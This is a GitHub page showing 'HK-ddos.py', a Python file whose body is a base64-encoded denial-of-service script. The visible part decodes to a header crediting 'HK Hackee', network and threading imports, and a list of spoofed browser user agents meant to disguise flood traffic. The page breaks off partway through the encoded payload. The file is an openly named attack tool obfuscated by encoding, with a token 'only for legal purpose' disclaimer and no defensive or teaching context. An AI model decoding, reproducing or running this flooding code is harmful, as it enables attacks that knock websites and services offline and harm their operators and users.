-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathHK-ddos.py
4 lines (3 loc) · 6.68 KB
/
HK-ddos.py
1
2
3
import base64
x = (b'''IyEvdXNyL2Jpbi9weXRob24zCiMgLSotIGNvZGluZzogdXRmLTggLSotCgojIHB5dGhvbiAzLjMuMisgSEstZGRvcyBTY3JpcHQgdi4xCiMgYnkgSEsgSGFja2VlCiMgb25seSBmb3IgbGVnYWwgcHVycG9zZQoKCmZyb20gcXVldWUgaW1wb3J0IFF1ZXVlCmZyb20gb3B0cGFyc2UgaW1wb3J0IE9wdGlvblBhcnNlcgppbXBvcnQgdGltZSxzeXMsc29ja2V0LHRocmVhZGluZyxsb2dnaW5nLHVybGxpYi5yZXF1ZXN0LHJhbmRvbQppbXBvcnQgb3MKCmRlZiB1c2VyX2FnZW50KCk6CglnbG9iYWwgdWFnZW50Cgl1YWdlbnQ9W10KCXVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjApIE9wZXJhIDEyLjE0IikKCXVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggaTY4NjsgcnY6MjYuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8yNi4wIikKCXVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IHg4Nl82NDsgZW4tVVM7IHJ2OjEuOS4xLjMpIEdlY2tvLzIwMDkwOTEzIEZpcmVmb3gvMy41LjMiKQoJdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBlbjsgcnY6MS45LjEuMykgR2Vja28vMjAwOTA4MjQgRmlyZWZveC8zLjUuMyAoLk5FVCBDTFIgMy41LjMwNzI5KSIpCgl1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjIpIEF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